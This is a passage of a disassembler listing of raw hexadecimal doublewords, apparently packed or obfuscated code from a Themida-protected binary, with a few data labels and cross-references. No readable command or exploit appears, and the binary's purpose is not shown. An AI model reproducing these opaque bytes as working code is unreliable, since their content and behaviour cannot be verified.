6D92EC2Ch, 4D7A9777h, 5779C1CDh, 3F36708Ah, 3ED1F79Ah dd 0FD78079Dh, 9BC2DA75h, 9B5954CDh, 0B1EFD0DEh, 9B7F78B7h dd 959208DEh, 0B7AE577h, 8872F336h, 0B1EF866Eh, 4D7F53B7h dd 0AD7954C5h, 3F36BA8Ah, 9B20929Ah, 9B7E2BF6h, 561C277Eh dd 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh dd 0DF709491h, 4DBA07F5h, 3ED183FEh, 0FD7B009Dh, 0E1922A75h dd 0A77ABC77h, 120E844Eh, 16D049C5h, 0FCA77FA9h, 0BE8CCB75h dd 0D30FED74h, 0FF7B1A26h, 0B207975h, 8872BD36h, 89A06554h dd 3D59A568h, 0DF709491h, 4DBA07F5h, 6885B5FFh, 0F8953039h dd 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h, 0BD9285E9h, 4D7A9774h dd 359261F4h, 157AE574h, 0FD7AF22Dh, 0FC5791DEh, 60CABC75h dd 61CA9DDFh, 0FC5BC7DFh, 451C9775h, 561C4A13h, 0FD7B439Dh dd 0FD4C1A75h, 561C7975h, 0FD7BB69Dh, 57E7EE75h, 57E69FB6h dd 0FD7A699Dh, 0FCF32375h, 0BE8CE575h, 0F20FFA74h, 15D0F9C5h dd 0FD7ABC65h, 0F99EDEDFh, 1584487Dh, 0FD7A97AAh, 3ED056C5h dd 0FD7AE2CDh, 0ADEF0D75h, 707F96B7h, 12B8ABC0h, 518A5D70h dd 2D02C7Fh, 12B8DBE0h, 0E5920870h, 4D7AE574h, 5779F825h dd 2844B9Dh, 0FC43548Ah, 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h dd 0E1926127h, 9B851A8Bh, 9B4BFDCDh, 36B91DEh, 0A7CA438Ah dd 5722EEDFh, 57929FB6h, 0C923C22h, 0A77ACB75h, 3F5122FEh dd 747E1AF6h, 8B9177h, 592438Ah, 4D7A5E75h, 5779252Dh dd 34FF69B6h, 7D7F24B4h, 12BB2CC8h, 0EC0FF370h, 3F41FCF8h dd 152AB99Ah, 0FD7A5C61h, 0FD781B9Dh, 571A2775h, 287759Dh dd 0C30D8Ah, 9CCA0D8Ah, 34F787DFh, 7D7F53B4h, 12BB97C8h dd 0F10F2F70h, 3F4112F8h, 152ACE9Ah, 0FD7AE4DEh, 0FD7E4AB6h dd 68857975h, 0F8957E25h, 3BE2C3F8h, 0F9F02A9Ah, 4DB93D6Dh dd 562D619Ch, 0FD7A8E9Dh, 3AF1A875h, 15F9BB5Eh, 3E783571h dd 3F36CB8Ah, 4ACE2A9Ah, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h dd 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h dd 0B1EF68B6h, 7D7F24B7h, 39FAEA91h, 9B7542F5h, 15D12EDEh dd 285415Ah, 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h dd 3F2A708Ah, 60F7F79Ah, 0F895BB5Ah, 3E39A0F8h, 0FD7A4ECDh dd 0ADEFD075h, 7E7F78B7h, 35F1CEB5h, 0B1EF1A89h, 577F1DB7h dd 15B98E97h, 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h dd 1608CB75h, 8831DB6h, 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh dd 17FB0475h, 0F895E9DDh, 7D86EAFCh, 12B880CFh, 7975E570h dd 0FD7AF2ECh, 0FD7A73CDh, 0ADE84375h, 0BD7FB1B7h, 3F2EADFCh dd 35F1929Ah, 3A0679F8h, 6F85E09Ah, 0F8953039h, 1F3C7FFDh dd 0FD6D0480h, 7F795E75h, 0F895ED21h, 8DE01A35h, 7E7F24B2h dd 0FEF3E1B6h, 0FD644B22h, 77797975h, 0F8957E21h, 3A24ECF8h dd 59892A9Ah, 0FD722F2Bh, 6F85CB75h, 0F8952725h, 897E0AF6h dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 7290162Fh, 707F24B2h dd 12B8BDCFh, 0F50F7970h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh dd 0A5E7A226h, 7D7F78B7h, 887BD349h, 1683BE71h, 3E82A977h dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0F895E8BDh, 3F2225F8h dd 80F1CE9Ah, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h dd 0F8959C2Dh, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 3F2258F8h dd 0C2FBF79Ah, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h dd 9C82969Eh, 40F7ABB6h, 0F895272Dh, 0FD7AF3CDh, 0FD72C075h dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0F8955510h, 0CA8BD08Ah dd 2AE9h, 2404C700h, 0 dd 0E8h, 0ED815D00h, 5EFC848h, 424448Bh, 316D8589h, 0B805E9h dd 8D000000h, 0E94E6D8Dh, 0B8E1FF05h, 6754h, 0C93C8D8Dh dd 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 6BD4B5C3h, 26558D89h, 0BD8905E9h, 5E923C1h dd 80585C7h, 5A9005E9h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8B6516C3h, 0E904559Dh dd 3D85C705h, 5E916h, 0F000000h, 688h, 0C19D3100h, 0FF05E92Fh dd 0E92355B5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 2574EC17h, 0BC595FFh dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0C6AD5C3h, 6911EB70h, 0D3ECBE66h, 1ED9BD09h dd 6A05E9h, 1E9595FFh, 0C08B05E9h, 17055AEBh, 45F40B86h dd 6ADF1E28h, 0B867BE4Eh, 9FAA3E88h, 59E41DA1h, 5502A500h dd 94C60EDh, 156A1499h, 30044D9Ch, 54543A68h, 4D144A5Eh dd 0C998CAECh, 5C01CAE7h, 638D0D56h, 29A1F30Bh, 1B1DEE89h dd 6E69247Fh, 4736AA0Fh, 59A5112Fh, 0E5202D67h, 0E043608Ah dd 0E8B1DA15h dword_5AAB68 dd 0ED6CAFEh, 8755A80Bh, 0F1D8A4Fh, 0D5ABA80Bh, 0FF575EAh ; DATA XREF: Themida_:00563FD3o dd 8453A80Bh, 5DBA8A4Fh, 840857AEh, 0CE58A4Fh, 0D5ABA80Bh dd 0CAC75EAh, 857EA80Bh, 0D2E8A4Fh, 85F8A80Bh, 0DA08A4Fh dd 0D5ABA80Bh, 2F2575EAh, 0C59E6ED4h, 3FC00310h, 0A7514798h dd 4D8EBE90h, 8BD12154h, 2F4065DCh dword_5AABC4 dd 0C59F23D4h, 7C00310h, 0A7514798h, 4D8E6990h, 87D12154h ; DATA XREF: Themida_:00552911o dd 2F4065DCh, 0C59892D4h, 13C00310h, 0A7514798h, 4D890590h dd 93D12154h, 2F4065DCh, 0C5987BD4h, 1FC00310h, 0A7514798h dd 4D889690h, 0EFD12154h, 2F4065DCh, 0C599F5D4h, 6BC00310h dd 0A7514798h, 4D881490h, 0E7D12154h, 2F4065DCh, 0C59977D4h dd 73C00310h, 0A7514798h, 4D8B9290h, 0FFD12154h, 0C34065DCh dd 2A5012B8h, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h dd 0A7AA4095h, 2AA8ED96h, 29458A15h, 0E367A024h, 0ADBAB496h dd 2A54A1D5h, 64C6CB15h, 0D5BA4155h, 63CE75EAh, 6B93AAEh dd 42848FFCh, 2211AB53h, 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch dd 0E3A8EDDAh, 0F74586D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h dd 0A2B9CFD2h, 6C54A851h, 0A24162ADh, 0EA660351h, 2FEE27BFh dd 0C597DEDBh, 12947510h, 0A0D90201h, 0A7AA4963h, 0A1EC79AEh dd 941AE51h, 0E92222DCh, 73BA8FFAh, 2ADF1037h, 28C82173h dd 2FBB6B27h, 2BFD5BEAh, 81508C15h, 61330098h, 0FBABADBEh dd 89EFD2A5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A7AA4155h, 0A15CDDDAh dd 0E7828668h, 2A54A8ADh, 30BACC15h, 2FBDB878h, 69CE529Eh dd 0B99783FCh, 31EFE2A5h, 0A0D9F9FAh, 0A7AA4963h, 9A0D79AEh dd 1A232094h, 81328C55h, 0DF6E2184h, 0D629215Dh, 5E000174h dd 2A5C6A98h, 21A90140h, 0C2345495h, 0A2458A15h, 0BDBE290Bh dd 294065DEh, 57DFA024h, 5E004D19h, 2A54A851h, 8BD77553h dd 0A1514141h, 69CE19CDh, 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh dd 0A7AA4963h, 9A0D79AEh, 1A232094h, 81328C65h, 0DF6E2184h dd 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h dd 0DFCE8260h, 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh dd 0F2DE0491h, 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h dd 55458A15h, 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h dd 4C972337h, 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h dd 66C6669Eh, 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h dd 22B769C2h, 62765826h, 78C22FDh, 0A2458AD5h, 25AB54D1h dd 0A2459391h, 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh dd 0E25610E0h, 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h dd 0A24D48DCh, 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h dd 2A54A851h, 229D00B9h, 0E1D4A7B2h, 8860085h, 0E92222DCh dd 73BA8FFAh, 0A7FEF8E1h, 4D86FC9Fh, 0A0855754h, 0DF6E20D6h dd 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h dd 0DFCE8260h, 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 4FD77515h dd 2651417Dh, 28C82045h, 2FBB6B27h, 2BF55BEAh, 86949BFBh dd 622E8531h, 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h dd 229661ADh, 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch dd 0A2458AE9h, 0D5FE0451h, 4B55A387h, 868C2354h, 2FEF4917h dd 0C597DEDBh, 0C4947510h, 4CBD28E9h, 88600BEh, 0A358D57Ah dd 29247668h, 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h dd 0ED58D5DAh, 0A2457650h, 80F8A851h, 0B26C18EAh, 0E2DFADB8h dd 88558B9h, 0E92232DCh, 71BA8FFAh, 0E3941037h, 63CF2173h dd 262983FBh, 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh dd 0D7CEEAE9h, 26292359h, 0A2B9CFD2h, 8654A851h, 8BD775BFh dd 0A1514141h, 637726DDh, 5CCE25FBh, 5D4065D6h, 0AAECCE82h dd 28EEECE4h, 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h dd 6B773273h, 0B0D90337h, 0A7AA4963h, 92327BAEh, 9234B95h dd 1FE04FDh, 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h dd 0C2B94E96h, 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h dd 0A7FFCEB8h, 4D86FC8Fh, 9A875754h, 0E0320A0h, 5CCE25FBh dd 5D4065D6h, 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h dd 229661ADh, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h dd 0A7AA447Dh, 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h dd 2A1E2C5Eh, 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh dd 13798A15h, 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h dd 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0B7CE2559h dd 0F14065DCh, 0E02032DCh, 71BA8FFAh, 0C3A8EDD8h, 0A2458A42h dd 0D558DDAEh, 38C88260h, 2FBB61FCh, 0D6DF0746h, 0D551479Bh dd 5E0003C6h, 2A5492B8h, 0AE307515h, 0A75CDDAEh, 4D8C338Fh dd 0B0D9FB54h, 0A7AA4061h, 6FDD7BAEh, 0A25863E9h, 5FABA851h dd 0AA307519h, 0E39132DCh, 2F168FFAh, 0C59EDCCBh, 2B967510h dd 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h dd 0AE8h, 0CA9F6D00h, 85BABDA9h, 0BE1F2027h, 5C3BF736h dd 0CE85Ah, 0F1260000h, 0EA01D065h, 3483BCCFh, 80BE638Bh dd 5E32C991h, 65C2C281h, 0DB810000h, 6D7BA751h, 193DB8h dd 840F00h, 8B000000h, 3AE3810Ah, 81380B1Ch, 4F9897E9h dd 0BE830h, 1F470000h, 86D9E017h, 0F1F1DAD5h, 13E8DEh dd 0FB1D0000h, 0FD111786h, 0A43F4A8Bh, 0FD62118h, 0D1D8DA22h dd 1C5BF53h, 5F5F22C1h, 34AAF181h, 870F4B10h, 1Ah, 13E956h dd 0D3F70000h, 0A37E0B20h, 4160984Bh, 0B98BBA03h, 0DC3E627Ah dd 0E9815BB7h, 5CCC59AEh, 51D88B66h, 8FFAB70Fh, 12F68102h dd 831E22D4h, 9FB304EAh, 0F01E883h, 0FFFF7A85h, 9E9FFh dd 0D380000h, 8B40E72Fh, 0EB10952Fh, 16h, 4 dup(0) dd 30010100h, 0EF000004h, 0B5895105h, 5E90DD1h, 12E8505Bh dd 1A000000h, 35A50503h, 80ACFCB9h, 0DDF4A341h, 0C62E3603h dd 59CA8B34h, 8B240489h, 0E92A8195h, 0F006A05h, 681h, 7D8D8B00h dd 6A05E92Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0C4FE940Bh, 8DE909FCh, 0EFD10285h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 1EF51E9Eh, 0DB8105B3h, 3F1158ECh, 0CE8B6650h dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 6D87C355h, 6EC09D9h, 6A18B1h dd 1D29BD8Bh, 6A05E9h, 7C98166h, 0A195FFCDh, 2905E90Ah dd 0E90335BDh, 550E905h, 0DEBA0000h, 0E85E317Eh, 0 dd 7ED815Dh, 8B05EFD1h, 4E8DFh, 0FA00000h, 0FD8A0000h dd 7E950h, 77940000h, 963CD558h, 24448B14h, 66008B04h dd 895AF0BFh, 0B5042444h, 6A58DCh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 1AC7EDC3h, 0FFF91605h dd 0E91E9595h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0FB36F675h, 28350AE1h dd 8B60F7AEh, 0E90D1595h, 8D61FC05h, 0EFD00CB5h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0F2808E94h, 5206C7BDh, 896D6765h, 0E90DEDB5h, 446C705h dd 6C636E6Fh, 4798D89h, 46C705E9h, 73736108h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0AACCA14Ch, 0F88B66F5h, 68E0Fh, 9D890000h, 5E92661h dd 840F006Ah, 0Ah, 5E9h, 26BC4400h, 858DC1B8h, 5EFD00Ch dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 8CC35747h dd 0A6EE70E9h, 0D18B50F8h, 0E9240489h, 11h, 0FCC0C0D4h dd 66CC3D65h, 0A71A9957h, 0DF9A483Ch, 2595FFB6h, 6A05E92Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 6E8DC353h, 635387EBh, 89E418F1h, 0E928258Dh dd 55958B05h, 0B05E925h, 71840FC0h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 4C6AC350h, 580AD29Bh, 6860Fh, 66500000h, 5FD3F8B9h dd 68B0Fh, 9D010000h, 5E922E1h, 32298501h, 1FE905E9h, 6A000003h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 5630C356h, 98930779h, 0AE42BA18h, 8D8B4146h dd 5E90471h, 890DFB68h, 0BBBF6621h, 24348129h, 21890CD7h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 77C35545h dd 0D94750A4h, 95FF0383h, 5E91E95h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0CC35646h, 2661211Dh, 8B49258Bh dd 0E903898Dh, 0F58D8B05h, 8D05E922h, 0EFD00CB5h, 219D8B05h dd 0C705E90Dh, 34383106h, 0A1BD8B36h, 0C705E907h, 2D370446h dd 6A3134h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0EFF0EC3h, 757FF2A2h, 2BE59D8Bh, 46C705E9h dd 8, 499D8B00h, 6A05E90Bh, 68A0F00h, 89000000h, 0E93065B5h dd 1BD8905h, 8D05E910h, 0EFD00C85h, 8D8BF905h, 5E901C5h dd 0EE990h, 0E2570000h, 7C2C5908h, 3ECDC766h, 0C521D995h dd 9DB46050h, 0BE9h, 2E48D000h, 44882EA0h, 0CDEB5C24h dd 95FF9061h, 5E92E25h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 6AC35343h, 65BD8918h, 2905E92Bh, 0E901AD85h dd 0FC00B05h, 3A84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0CD6263EEh, 1D3977ABh dd 0D78B0D0Ch, 189E9h, 0DA815700h, 62001C3Bh, 0E3D28159h dd 687F77E7h, 66A12DDBh, 3481F18Ah, 0A12CF724h, 0DBD8B66h dd 0FF05E902h, 0E91E9595h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 1455F37Fh dd 0CB58D06h, 0E805EFD0h, 6, 0B7FAEF44h, 0BF66D5D6h, 0C75BED69h dd 6C694606h, 0DE8B6665h, 6D0446C7h, 0F636E6Fh, 685h, 0F99D2900h dd 0C705E927h, 616C0846h, 0BE97373h, 20000000h, 3B89FC44h dd 0A83E1604h, 46C7CDA3h, 0Ch, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 52941F4Eh dd 803C9F8Fh, 82BBD6B1h, 0E95EFFA2h, 0Bh, 6DE194C4h, 814EF783h dd 6AF6D50Ah, 5E900h, 45A80000h, 8D553DC4h, 0EFD00C85h dd 0D6BF0F05h, 22DDBD31h, 669005E9h, 5082A0BFh, 6A90DE8Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 2532C353h, 1EE1C7CAh, 0FFD38F56h, 0E92E2595h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 2AB86936h, 0E652F57Ah, 0E5858933h, 0B05E92Fh dd 15840FC0h, 0F000000h, 686h, 318D8B00h, 0E905E905h, 26h dd 0E995BF66h, 0FFFB26E9h, 50006AFFh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B58D43BBh dd 5E972D4h, 6E8h, 1F2A5700h, 8BC57BD0h, 0E92DE59Dh, 0B85905h dd 60000000h, 0D920BEBAh, 0E781661Dh, 0FF61C910h, 57006AE6h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 668991E9h, 957A38Ah, 0E92B2185h, 0C18B5905h, 0D72E8D8Dh dd 6A05EFh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 47CB01C3h, 0F919466Ah, 908EBA60h, 8D231D28h dd 5E931A1h, 89F08B61h, 0E926558Dh, 0ED9D8B05h, 0C705E90Ch dd 0E9080585h, 73FC05h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 2824E06Ch, 7BA7EFC7h dd 59BD8Bh, 85C705E9h, 5E9163Dh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 7C35040h dd 0E0D4CC4Bh, 0FF9805FCh, 0E91EE9B5h, 0C595FF05h, 6A05E90Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 820FC357h, 0DD689975h, 0BBD0BDEFh, 5B1FE933h dd 95FF006Ah, 5E91E95h, 1DEBC08Bh, 2EA333E2h, 0A62C7B09h dd 4369039Eh, 5ACAE63Bh, 82DF06C1h, 8021DA25h, 7A2C2FECh dd 259D8D67h, 0B805E916h, 1434h, 3158589h, 0E805E9h, 58000000h dd 0D05h, 0E9038900h, 1434h, 50Dh dup(0) dd 9BE9h, 0AFD61600h, 4170AC92h, 0D2013E24h, 6194CFB5h dd 0F5205E44h, 0A40ED4D8h, 381E3B66h, 0CDB3D0F7h, 6046638Eh dd 9D6F326h, 0F1347A28h, 61BA1326h, 5487C283h, 9CE290B1h dd 2216C91Ah, 0B5570FACh, 63A1CE09h, 0DE400A38h, 0CBF807C1h dd 1DF76643h, 5A14B1E0h, 0E978BC48h, 3A8E54E6h, 4C46CAE9h dd 3D0E976h, 10000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h dd 0A4E0A4D2h, 68864775h, 5EFEBACh, 0F993B2E9h, 0FB828DFFh dd 0EFEC3AB8h, 0E8C50305h, 0Ch, 0B8AA7107h, 9ED2C775h dd 8DC7A697h, 0FE9h, 0FEF9EC00h, 457C6157h, 71097460h dd 0C4E3C214h, 0F19D895Bh, 8105E92Ch, 6185C3h, 0B1BD0B00h dd 3305E92Bh, 94B060F6h, 12E9h, 63CB4D00h, 0AE7ABDE9h dd 7C8214B1h, 726D567Ch, 610EDD41h, 0F33048Bh, 0C081C9B7h dd 247C4A9Bh, 2F759531h, 0E88105E9h, 9AE446Eh, 2F45BD31h dd 0E88105E9h, 32522AE9h, 17E9BD8Bh, 895005E9h, 0E92F69BDh dd 33048F05h, 20800Fh, 14E80000h, 43000000h, 88D67061h dd 8E11369Ch, 7E618912h, 0DC358639h, 8930D574h, 0E90E7195h dd 958B5905h, 5E90481h, 8904EE83h, 0E92745B5h, 3CFE8105h dd 0FFFFF9Fh, 0FFFF8B85h, 1204EBFFh, 0E94CF5C6h, 0E0Ah dd 0EFEF5668h, 92C9E905h, 6068FFF9h, 0E905EFF0h, 0FFF992BFh dd 0EFF19668h, 92B5E905h, 2468FFF9h, 0E905EFF2h, 0FFF992ABh dd 0EFF58468h, 92A1E905h, 6568FFF9h, 0E905EFF8h, 0FFF99297h dd 0EFF95F68h, 928DE905h, 1959FFF9h, 0B3EFD5F2h, 44816784h dd 0D712F815h, 63A187A4h, 0CB171B38h, 6986B1EFh, 0FE1B4283h dd 91AED918h, 213E71ABh, 81C57354h, 0D1326F7h, 8B6D7B4h dd 1326F746h, 0C8E965EFh, 0A2FAD752h, 0C2618F2Ch, 5A880A84h dd 945EC6D9h, 0A0CEF938h, 824674D6h, 0C715C943h, 2FE00B49h dd 0D6389442h, 692880B9h, 2F77BFA8h, 26631E1Bh, 0A236F2EAh dd 7BA6E440h, 7E21834Dh, 3228D3D0h, 1ABD331Ch, 0B3E21FF9h dd 2008C383h, 0B855CB13h, 85A6800h, 69A81320h, 104C103Eh dd 0EC3BB3E1h, 0DAE1589h, 0C19D4368h, 3D934526h, 59000000h dd 3366A17Bh, 659E3B05h, 4CFA9D0Dh, 1C322C53h, 9F3765DBh dd 132004A3h, 1B4233D4h, 9045EAECh, 35752651h, 0D7B653CBh dd 4526B309h, 1127h, 1FCDEE00h, 1320425Fh, 1E4CE95Fh, 901CAh dd 88C20A00h, 29632755h, 1A4707B5h, 0D14716C9h, 0C119526Fh dd 89EB1A57h, 23BF38E6h, 49BF1C32h, 5F92CCA6h, 12CA6731h dd 200C487Ah, 670EAF13h, 26C59C44h, 2E9445h, 6F5A0000h dd 7D8C5817h, 37079981h, 5DDB0C86h, 3496B0C0h, 5FFEE391h dd 92081C32h, 7DF6CC64h, 60011320h, 0B0CA9615h, 0D5E64526h dd 0AC000000h, 0B25588C2h, 1AA3E391h, 0B52B16C9h, 5E9C6018h dd 7410533h, 621031D4h, 16C91A1Ch, 0C5F832A2h, 4A0EC663h dd 6C0DD10h, 16C916DCh, 16B9EC26h, 1E0747F5h, 118716C9h dd 71A0CD74h, 5BBE458Fh, 0BEA44130h, 0C235184h, 80A144B4h dd 0B396CA6h, 51EAA441h, 5A1C31F1h, 0E6144380h, 2D9D7F1Ch dd 2E69C5ECh, 437C99FBh, 0B7D87BEBh, 0C6A97788h, 0CB685AC0h dd 0C6440D11h, 67A11119h, 8B3C0634h, 24C0D76Dh, 0F396F827h dd 93B0DB19h, 13446FADh, 6F713904h, 1A9F5B53h, 6C00000Bh dd 2E8052Ch, 947A97C6h, 250B2857h, 0B49AB7EAh, 2A2E4B76h dd 99C402B8h, 2E55967Ch, 0C1EC2B11h, 5184BEA4h, 0D8866734h dd 1326F596h, 0C2E1BF18h, 563C5984h, 9ECCE91Ch, 4A7176Fh dd 8568B4E3h, 5BA33DDDh, 3C1F04BEh, 0F1671C32h, 3F7F2D4Eh dd 0BF13201Eh, 430502FAh, 0D6F01CDh, 7EADB870h, 4572CDDBh dd 0ECA643DAh, 132049D6h, 0B6F58021h, 452684EAh, 0F406h dd 88C2CC00h, 99D8B255h, 5519D16Eh, 26BEEC17h, 16C916FCh dd 7C99CC06h, 86295C96h, 1EF7B765h, 0FEAC16C9h, 16C91EB8h dd 878D046h, 0A7719FCAh, 0D9F0A845h, 946E1181h, 33FD2B56h dd 0EBB6996h, 0FD1C31F3h, 3D682EDCh, 761320h, 0E3C63A4h dd 4FC5A744h, 31A1F932h, 58936D8Eh, 827D8BD6h, 70D28332h dd 0DD1C7842h, 1DBA84B2h, 0C6A8D063h, 6DAA1A19h, 7E5BAFEFh dd 0EF51FD4Bh, 0D210EA8Dh, 66A48AA7h, 0E4090A3Bh, 4E466F71h dd 0A1092h, 0FB226200h, 8DBCF8DEh, 1E4D8A70h, 0ADE01B01h dd 416CAA90h, 0F8C22024h, 8C728FBAh, 2107244Bh, 0B49AB7E2h dd 5D2A477Ah, 0EA88CE7Ch, 0BD161326h, 5984C2DFh, 0A7E795B6h dd 2716C91Ah, 406D14B1h, 5DFA2966h, 0ED0A3D77h, 0D07E9FC0h dd 16C91A8Eh, 246A9A10h, 0AA16C91Ah, 9FCD003Ah, 0D61773D5h dd 1AB781AFh, 5588C2ECh, 0DAFB1C27h, 0C91A6A2Ch, 0CEFE7416h dd 16C91A88h, 0A3A5116h, 5EE2B009h, 3F795FFCh, 6EABD812h dd 0E547113Fh, 5391EDB7h, 0CE30FA28h, 0B56384B1h, 16C904F1h dd 0C6EA87FDh, 0E959B10Eh, 37772546h, 5E16C904h, 7C5CD2EDh dd 52C8200Fh, 92BD01AFh, 0CB4116C9h, 0B253012Eh, 0FC1C3294h dd 2D4E5786h, 209C3F7Fh, 114FBF13h, 2DE784E6h, 0B5E78C36h dd 2EDC8DE5h, 0BAE5AC68h, 0FB9E0076h, 1E9AB04Dh, 8084B3B0h dd 6586D539h, 0CF4527C4h, 886796A1h, 6F33A30Ch, 0A3FB34D1h dd 0B3E29033h, 0F7B5F0F9h, 0E3BDDE81h, 0F7DD7AA5h, 284F90BDh dd 7D41EFFAh, 81BAE0C9h, 5806A90Bh, 0BAE0C916h, 0A3C02298h dd 1F5083BDh, 0C34A4704h, 0DA97534Bh, 2C000008h, 0C2A8C5ECh dd 543A5786h, 0E5CBE817h, 745A77AAh, 0EAEE0B36h, 5984C2F8h dd 0EE15563Ch, 81ACEBD1h, 11447E64h, 984627F4h, 1326EBD6h dd 0C2A17FD8h, 10275588h, 0CBA548B8h, 6832608Fh, 6BF09ECBh dd 0EB1C31F2h, 0B9F8D275h, 0D411EB8Eh, 76B377A5h, 0ED4F1947h dd 84C3A950h, 0D3932B59h, 313203Dh, 13200D3Fh, 852898F0h dd 0DB24B2D7h, 0EB8E0419h, 7BA9D011h, 6D37DC62h, 54B6C3C0h dd 13BFFB7h, 0BC309DCEh, 7FF6F73h, 84C4Bh, 375E9E00h, 0C9F8341Ah dd 5A89C6ACh, 0E91C573Dh, 7DA8E6CCh, 2C865C60h, 0C0A6C3EEh dd 553B587Fh, 0E8CEEB16h, 915E7BAEh, 